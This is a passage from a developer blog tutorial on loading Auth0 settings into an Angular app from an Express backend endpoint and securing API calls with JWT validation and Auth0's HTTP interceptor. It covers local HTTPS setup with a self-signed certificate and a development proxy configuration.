<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/006.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/006.png" alt="Login page" loading="lazy" /></span>
<figcaption>Login page</figcaption>
</figure><p></p>
<p>On return to the application the email you signed up with is displayed on the page.</p>
<h2 id="moving-frontend-configuration-to-the-backend" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#moving-frontend-configuration-to-the-backend">Moving frontend configuration to the backend</a></h2>
<p>Instead of hardcoding the <code>domain</code> and <code>clientId</code> in the Angular app.module.ts, these values should be supplied at runtime. This is because you should use a different tenant for local development, testing and production. If you leave the values hardcoded you would need to build the application for each environment that you deploy to (a major shortcoming of all SPA frameworks). It is possible to get Angular to load the Auth0 configuration, along with any other settings you’d want, from a backend API server.</p>
<h3 id="create-the-backend-api" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#create-the-backend-api">Create the Backend API</a></h3>
<p>Start by generating a Node Express API. In a new terminal window,</p>
<pre class="language-bash"><code class="language-bash">npx express-generator api</code></pre>
<p>This creates a folder called <code>api</code> with a basic Express project in it. Install its dependencies and start it up.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token parameter variable">--prefix</span> api <span class="token function">install</span>
<span class="token function">npm</span> <span class="token parameter variable">--prefix</span> api start</code></pre>
<p>Once it’s done, browse to <a href="http://localhost:3000/">http://localhost:3000</a> to make sure it’s working as expected.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/007.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/007.png" alt="Express API" loading="lazy" /></span>
<figcaption>Express API</figcaption>
</figure><p></p>
<h3 id="create-an-endpoint-for-frontend-settings" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#create-an-endpoint-for-frontend-settings">Create an endpoint for frontend settings</a></h3>
<p>In the Express app’s <code>index.js</code>, add a new <code>/uiconfig</code> endpoint, which will return settings to the frontend.</p>
<pre class="language-javascript"><code class="language-javascript">router<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/uiconfig'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
<span class="token literal-property property">domain</span><span class="token operator">:</span> <span class="token string">'mydemotenant.eu.auth0.com'</span><span class="token punctuation">,</span>
<span class="token literal-property property">clientId</span><span class="token operator">:</span> <span class="token string">'89eVpU4Ixox4Llx6j7466L7pnK9lO4A8'</span><span class="token punctuation">,</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>In a real application scenario, you would load the domain, clientId, and various other settings from environment variables.</p>
<p>Restart the Express app, then browse to <a href="http://localhost:3000/uiconfig">http://localhost:3000/uiconfig</a>. You should see a JSON response with the Auth0 configuration settings.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/008.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/008.png" alt="UI Config" loading="lazy" /></span>
<figcaption>UI Config</figcaption>
</figure><p></p>
<h2 id="loading-angular-configuration-from-a-backend-api-call" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#loading-angular-configuration-from-a-backend-api-call">Loading Angular configuration from a backend API call</a></h2>
<p>Now that the Express API is serving values for the frontend on its <code>/uiconfig</code> endpoint, there’s work to do on the Angular side to read it and load it.</p>
<h3 id="proxy-calls-to-the-express-api" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#proxy-calls-to-the-express-api">Proxy calls to the Express API</a></h3>
<p>Because the frontend and backend are currently on different domains (localhost:4000 and localhost:3000) you will have to start dealing with CORS issues. It’s actually easier to just get Angular to proxy all calls to the Express APIs (localhost:3000) as a path on the frontend. In other words, we can get all <code>/api</code> calls from the frontend code to request <code>http://localhost:3000</code> behind the scenes. This does away with cross domain issues.</p>
<p>In the frontend folder, open <code>angular.json</code> and search for the <code>"serve":"</code> section. Add a <code>proxyConfig</code> line under serve > options.</p>
<pre class="language-json"><code class="language-json"> <span class="token property">"serve"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
...
<span class="token property">"options"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
...
<span class="token property">"proxyConfig"</span><span class="token operator">:</span> <span class="token string">"./proxy.conf.json"</span>
...
<span class="token punctuation">}</span><span class="token punctuation">,</span>
</code></pre>
<p>Create a proxy.conf.json with this content.</p>
<pre class="language-json"><code class="language-json"><span class="token punctuation">{</span>
<span class="token property">"/api"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"target"</span><span class="token operator">:</span> <span class="token string">"http://localhost:3000"</span><span class="token punctuation">,</span>
<span class="token property">"secure"</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span>
<span class="token property">"pathRewrite"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"^/api"</span><span class="token operator">:</span> <span class="token string">""</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"logLevel"</span><span class="token operator">:</span> <span class="token string">"debug"</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<p>Stop and restart the Angular application.</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># Ctrl+C</span>
<span class="token function">npm</span> <span class="token parameter variable">--prefix</span> frontend start</code></pre>
<p>Now browse to <a href="http://localhost:4200/api/uiconfig">http://localhost:4200/api/uiconfig</a> and it should show the same contents as <a href="http://localhost:3000/uiconfig">http://localhost:3000/uiconfig</a>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/009.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/009.png" alt="UI Config via Proxy" loading="lazy" /></span>
<figcaption>UI Config via Proxy</figcaption>
</figure><p></p>
<h3 id="angular-loading-dynamic-configuration" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#angular-loading-dynamic-configuration">Angular loading dynamic configuration</a></h3>
<p>Start by removing the hardcoded values from the <code>AuthModule.forRoot()</code> line. It should just be</p>
<pre class="language-typescript"><code class="language-typescript">AuthModule<span class="token punctuation">.</span><span class="token function">forRoot</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre>
<p>At the top, import <code>APP_INITIALIZER</code> and the <code>HttpClientModule</code> too</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">import</span> <span class="token punctuation">{</span> NgModule<span class="token punctuation">,</span> <span class="token constant">APP_INITIALIZER</span> <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@angular/core'</span><span class="token punctuation">;</span>
<span class="token keyword">import</span> <span class="token punctuation">{</span> HttpClientModule <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@angular/common/http'</span><span class="token punctuation">;</span></code></pre>
<p>In the <code>providers:[]</code> section, add an APP_INITIALIZER, which will call an <code>AppConfigService</code> (we will create this soon):</p>
<pre class="language-typescript"><code class="language-typescript"> providers<span class="token operator">:</span> <span class="token punctuation">[</span>
AppConfigService<span class="token punctuation">,</span>
<span class="token punctuation">{</span> provide<span class="token operator">:</span> <span class="token constant">APP_INITIALIZER</span><span class="token punctuation">,</span>useFactory<span class="token operator">:</span> initializeApp<span class="token punctuation">,</span> deps<span class="token operator">:</span> <span class="token punctuation">[</span>AppConfigService<span class="token punctuation">]</span><span class="token punctuation">,</span> multi<span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">}</span>
<span class="token punctuation">]</span><span class="token punctuation">,</span>
</code></pre>
<p>The initializeApp should be a normal function just outside the <code>@NgModule</code>.</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">import</span> <span class="token punctuation">{</span> AppConfigService <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'./app-config.service'</span><span class="token punctuation">;</span>
<span class="token keyword">export</span> <span class="token keyword">function</span> <span class="token function">initializeApp</span><span class="token punctuation">(</span>appConfigService<span class="token operator">:</span> AppConfigService<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">:</span> <span class="token builtin">Promise</span><span class="token operator"><</span><span class="token builtin">any</span><span class="token operator">></span> <span class="token operator">=></span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> appConfigService<span class="token punctuation">.</span><span class="token function">load</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<p>Finally create the <code>app-config.service.ts</code> which will do the real work of loading from <code>/api/uiconfig</code>. This AppConfigService has a special purpose. It is meant not just for Auth0 configuration, but for any settings that need to be available to any of our Angular application components. The idea is that just by importing this service, an Angular component can access its properties using <code>AppConfigService.settings.someSettingName</code>. Here are the contents of <code>app-config.service.ts</code>:</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">import</span> <span class="token punctuation">{</span> Injectable <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@angular/core'</span><span class="token punctuation">;</span>
<span class="token keyword">import</span> <span class="token punctuation">{</span> HttpClient<span class="token punctuation">,</span> HttpBackend <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@angular/common/http'</span><span class="token punctuation">;</span>
<span class="token keyword">import</span> <span class="token punctuation">{</span> AuthClientConfig<span class="token punctuation">,</span> AuthConfig<span class="token punctuation">,</span> AuthConfigService <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@auth0/auth0-angular'</span><span class="token punctuation">;</span>
<span class="token decorator"><span class="token at operator">@</span><span class="token function">Injectable</span></span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">export</span> <span class="token keyword">class</span> <span class="token class-name">AppConfigService</span> <span class="token punctuation">{</span>
<span class="token keyword">static</span> settings<span class="token operator">:</span> IAppConfig<span class="token punctuation">;</span>
httpClient<span class="token operator">:</span> HttpClient<span class="token punctuation">;</span>
handler<span class="token operator">:</span> HttpBackend<span class="token punctuation">;</span>
authClientConfig<span class="token operator">:</span> AuthClientConfig<span class="token punctuation">;</span>
<span class="token function">constructor</span><span class="token punctuation">(</span><span class="token keyword">private</span> http<span class="token operator">:</span> HttpClient<span class="token punctuation">,</span> handler<span class="token operator">:</span> HttpBackend<span class="token punctuation">,</span> authClientConfig<span class="token operator">:</span> AuthClientConfig<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>httpClient <span class="token operator">=</span> http<span class="token punctuation">;</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>handler <span class="token operator">=</span> handler<span class="token punctuation">;</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>authClientConfig <span class="token operator">=</span> authClientConfig<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token function">load</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">const</span> jsonFile <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/api/uiconfig</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>
<span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name"><span class="token builtin">Promise</span><span class="token operator"><</span><span class="token keyword">void</span><span class="token operator">></span></span><span class="token punctuation">(</span><span class="token punctuation">(</span>resolve<span class="token punctuation">,</span> reject<span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>httpClient <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HttpClient</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>handler<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>httpClient<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>jsonFile<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toPromise</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span>response <span class="token operator">:</span> IAppConfig<span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span>
AppConfigService<span class="token punctuation">.</span>settings <span class="token operator">=</span> <span class="token operator"><</span>IAppConfig<span class="token operator">></span>response<span class="token punctuation">;</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>authClientConfig<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
clientId<span class="token operator">:</span> AppConfigService<span class="token punctuation">.</span>settings<span class="token punctuation">.</span>clientId<span class="token punctuation">,</span> domain<span class="token operator">:</span> AppConfigService<span class="token punctuation">.</span>settings<span class="token punctuation">.</span>domain
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token builtin">console</span><span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Config Loaded'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token builtin">console</span><span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> AppConfigService<span class="token punctuation">.</span>settings<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">/*}).catch((response: any) => {
reject(`Could not load the config file`);*/</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token keyword">export</span> <span class="token keyword">interface</span> <span class="token class-name">IAppConfig</span> <span class="token punctuation">{</span>
clientId<span class="token operator">:</span> <span class="token builtin">string</span>
domain<span class="token operator">:</span> <span class="token builtin">string</span>
<span class="token punctuation">}</span></code></pre>
<p>A few things to note about this service</p>
<ul>
<li><code>const jsonFile = ...</code> can point at any URL as long as it returns the UI settings that you want in JSON format.</li>
<li>The IAppConfig properties need to match exactly the JSON properties being returned in your HTTP response</li>
<li>The actual Auth0 library configuration is happening at the <code>this.authClientConfig.set...</code> line.</li>
</ul>
<h3 id="try-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#try-it">Try it</a></h3>
<p>That was a lot of work but now you can reload the page, and this time watch developer tools. You will see a request being made to <code>/api/uiconfig</code>, and the config is printed out to console. The application’s login and logout functionality should work as normal.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/010.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/010.png" alt="Dynamic configuration" loading="lazy" /></span>
<figcaption>Dynamic configuration</figcaption>
</figure><p></p>
<h2 id="securing-api-calls" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#securing-api-calls">Securing API calls</a></h2>
<p>So far everything done has been to secure the application frontend for a user, with login and logout functionality and some user identity information. Securing <em>API</em> calls requires additional steps - the frontend application must request an Access Token on behalf of the user, and pass that along as an <code>Authorization: Bearer</code> header. Here we will create a secure endpoint in Express, and call it from the frontend.</p>
<h3 id="auth0-com-api-setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#auth0-com-api-setup">Auth0.com API setup</a></h3>
<p>Back in Auth0.com in your tenant, go to the API section and create a new API, and give it an audience. The audience can be anything, including a URL, but I prefer normal words like <code>my-api</code>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/011.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/011.png" alt="Auth0 API" loading="lazy" /></span>
<figcaption>Auth0 API</figcaption>
</figure><p></p>
<h3 id="express-secure-endpoint" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#express-secure-endpoint">Express secure endpoint</a></h3>
<p>Stop the Express app, and install some additional libraries.</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># Ctrl+C</span>
<span class="token function">npm</span> <span class="token parameter variable">--prefix</span> api <span class="token function">install</span> <span class="token parameter variable">--save</span> express-jwt jwks-rsa express-jwt-authz</code></pre>
<p>In index.js, import the libraries and add a middleware that expects and validates the JSON Web Token in the Authorization header. Substitute the tenant domain and audience for your own.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">const</span> jwt <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express-jwt'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">const</span> jwtAuthz <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express-jwt-authz'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">const</span> jwksRsa <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'jwks-rsa'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">const</span> checkJwt <span class="token operator">=</span> <span class="token function">jwt</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
<span class="token literal-property property">secret</span><span class="token operator">:</span> jwksRsa<span class="token punctuation">.</span><span class="token function">expressJwtSecret</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
<span class="token literal-property property">cache</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
<span class="token literal-property property">rateLimit</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
<span class="token literal-property property">jwksRequestsPerMinute</span><span class="token operator">:</span> <span class="token number">5</span><span class="token punctuation">,</span>
<span class="token literal-property property">jwksUri</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://mydemotenant.eu.auth0.com/.well-known/jwks.json</span><span class="token template-punctuation string">`</span></span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token literal-property property">audience</span><span class="token operator">:</span> <span class="token string">'my-api'</span><span class="token punctuation">,</span>
<span class="token literal-property property">issuer</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://mydemotenant.eu.auth0.com/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span>
<span class="token literal-property property">algorithms</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">'RS256'</span><span class="token punctuation">]</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<p>Now create a secure endpoint that uses the above.</p>
<pre class="language-javascript"><code class="language-javascript">router<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/api/protected'</span><span class="token punctuation">,</span> checkJwt<span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
res<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
<span class="token literal-property property">message</span><span class="token operator">:</span> <span class="token string">'This is a protected endpoint.'</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>Restart the Express app</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token parameter variable">--prefix</span> api start</code></pre>
<p>Then browse to the protected endpoint at <a href="http://localhost:3000/protected">http://localhost:3000/protected</a>, you should get an HTTP 401 Unauthorized error, as you haven’t passed any headers in.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/012.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/012.png" alt="401" loading="lazy" /></span>
<figcaption>401</figcaption>
</figure><p></p>
<h3 id="make-the-frontend-a-first-party-application" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#make-the-frontend-a-first-party-application">Make the frontend a first-party application</a></h3>
<p>The frontend needs to request Access Tokens on behalf of the user, but this needs to be done in a way that isn’t disruptive to the user experience. Auth0 APIs do allow skipping consent, but <a href="https://auth0.com/docs/authorization/user-consent-and-third-party-applications#skip-consent-for-first-party-applications">only for first party applications</a>.</p>
<p>This requires two changes to the frontend application:</p>
<ul>
<li>A non <code>localhost</code> domain (We’ll go with <code>frontend.example</code>)</li>
<li>https:// instead of http:// (So that’s <code>https://frontend.example:4200</code>)</li>
</ul>
<h4 id="modify-auth0-com-application-urls" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#modify-auth0-com-application-urls">Modify Auth0.com Application URLs</a></h4>
<p>In the Auth0.com tenant settings, modify the application’s callback, login and logout URLs to use <code>https://frontend.example:4200</code>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/013.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/013.png" alt="Auth0 Configuration" loading="lazy" /></span>
<figcaption>Auth0 Configuration</figcaption>
</figure><p></p>
<h4 id="host-file" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#host-file">Host file</a></h4>
<p>Edit your hosts file and add a mapping.</p>
<pre><code>127.0.0.1 frontend.example
</code></pre>
<h4 id="certificate" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#certificate">Certificate</a></h4>
<p>Generate a self signed certificate for frontend.example.</p>
<pre class="language-bash"><code class="language-bash">openssl req <span class="token parameter variable">-x509</span> <span class="token parameter variable">-newkey</span> rsa:4096 <span class="token parameter variable">-keyout</span> key.pem <span class="token parameter variable">-out</span> cert.pem <span class="token parameter variable">-days</span> <span class="token number">365</span> <span class="token parameter variable">-nodes</span> <span class="token parameter variable">-subj</span> <span class="token string">"/C=GB/ST=London/L=London/O=Acme/OU=Org/CN=frontend.example"</span></code></pre>
<p>This generates a certificate and a private key. Modify <code>angular.json</code> to use these. In the same serve > options section where you added a proxy config, add:</p>
<pre class="language-json"><code class="language-json"><span class="token property">"ssl"</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
<span class="token property">"sslKey"</span><span class="token operator">:</span> <span class="token string">"../key.pem"</span><span class="token punctuation">,</span>
<span class="token property">"sslCert"</span><span class="token operator">:</span> <span class="token string">"../cert.pem"</span><span class="token punctuation">,</span>
<span class="token property">"host"</span><span class="token operator">:</span> <span class="token string">"0.0.0.0"</span><span class="token punctuation">,</span>
<span class="token property">"disableHostCheck"</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span></code></pre>
<p>This allows the Angular application to be served over frontend.example, and uses the generated self signed certificate.</p>
<p>Stop and restar the Angular application.</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># Ctrl C</span>
<span class="token function">npm</span> <span class="token parameter variable">--prefix</span> frontend start</code></pre>
<p>Open <a href="https://frontend.example:4200/">https://frontend.example:4200/</a> in the browser. Accept the warning about the self signed certificate. Try out the login and logout functionality, everything should work as before including the dynamic configuration loading.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/014.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/014.png" alt="First Party with Cert" loading="lazy" /></span>
<figcaption>First Party with Cert</figcaption>
</figure><p></p>
<h3 id="configure-auth0-library-to-secure-calls-to-api" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#configure-auth0-library-to-secure-calls-to-api">Configure Auth0 library to secure calls to <code>/api</code></a></h3>
<p>At last the juicy bit. We now need to get Auth0 to intercept our HTTP requests and add the required Authorization header.</p>
<p>In <code>app.module.ts</code>, import the Angular and Auth0 interceptors.</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">import</span> <span class="token punctuation">{</span> HttpClientModule<span class="token punctuation">,</span> <span class="token constant">HTTP_INTERCEPTORS</span> <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@angular/common/http'</span><span class="token punctuation">;</span>
<span class="token keyword">import</span> <span class="token punctuation">{</span> AuthHttpInterceptor <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@auth0/auth0-angular'</span><span class="token punctuation">;</span></code></pre>
<p>Add the <code>HTTP_INTERCEPTORS</code> to the <code>providers:[...]</code> section, so it should now look like this:</p>
<pre class="language-typescript"><code class="language-typescript"> providers<span class="token operator">:</span> <span class="token punctuation">[</span>
AppConfigService<span class="token punctuation">,</span>
<span class="token punctuation">{</span> provide<span class="token operator">:</span> <span class="token constant">HTTP_INTERCEPTORS</span><span class="token punctuation">,</span> useClass<span class="token operator">:</span> AuthHttpInterceptor<span class="token punctuation">,</span> multi<span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token punctuation">{</span> provide<span class="token operator">:</span> <span class="token constant">APP_INITIALIZER</span><span class="token punctuation">,</span>useFactory<span class="token operator">:</span> initializeApp<span class="token punctuation">,</span> deps<span class="token operator">:</span> <span class="token punctuation">[</span>AppConfigService<span class="token punctuation">]</span><span class="token punctuation">,</span> multi<span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">}</span>
<span class="token punctuation">]</span><span class="token punctuation">,</span>
</code></pre>
<p>Back in the <code>app-config.service.ts</code>, where the Auth0 Configuration is being set, include the <code>httpInterceptor</code>. The <a href="https://github.com/auth0/auth0-angular#configure-authhttpinterceptor-to-attach-access-tokens">configuration is very simple</a>, you just specify a part of the API URL, and which audience and scopes to use.</p>
<p>In our case, the path is <code>/api/*</code> and the audience is <code>my-api</code>.</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">this</span><span class="token punctuation">.</span>authClientConfig<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
clientId<span class="token operator">:</span> AppConfigService<span class="token punctuation">.</span>settings<span class="token punctuation">.</span>clientId<span class="token punctuation">,</span> domain<span class="token operator">:</span> AppConfigService<span class="token punctuation">.</span>settings<span class="token punctuation">.</span>domain<span class="token punctuation">,</span>
httpInterceptor<span class="token operator">:</span> <span class="token punctuation">{</span> allowedList<span class="token operator">:</span> <span class="token punctuation">[</span>
<span class="token punctuation">{</span>
uri<span class="token operator">:</span> <span class="token string">"/api/*"</span><span class="token punctuation">,</span>
tokenOptions<span class="token operator">:</span> <span class="token punctuation">{</span>
audience<span class="token operator">:</span> <span class="token string">"my-api"</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">]</span> <span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<h3 id="make-a-call-to-the-api" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#make-a-call-to-the-api">Make a call to the API</a></h3>
<p>Modify the constructor in <code>app.component.ts</code> and have it call the API with a normal <code>http.get</code>. Our configuration above will take care of intercepting it.</p>
<pre class="language-typescript"><code class="language-typescript"> <span class="token keyword">public</span> secureMessage<span class="token punctuation">;</span>
<span class="token function">constructor</span><span class="token punctuation">(</span><span class="token keyword">public</span> auth<span class="token operator">:</span> AuthService<span class="token punctuation">,</span> <span class="token keyword">private</span> http<span class="token operator">:</span> HttpClient<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getSecureMessage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token function">getSecureMessage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>auth<span class="token punctuation">.</span>isAuthenticated$<span class="token punctuation">.</span><span class="token function">subscribe</span><span class="token punctuation">(</span>isLoggedIn <span class="token operator">=></span> <span class="token punctuation">{</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>isLoggedIn<span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>http<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/api/protected'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">subscribe</span><span class="token punctuation">(</span>result <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span>secureMessage<span class="token operator">=</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<p>Don’t forget to import the HttpClient.</p>
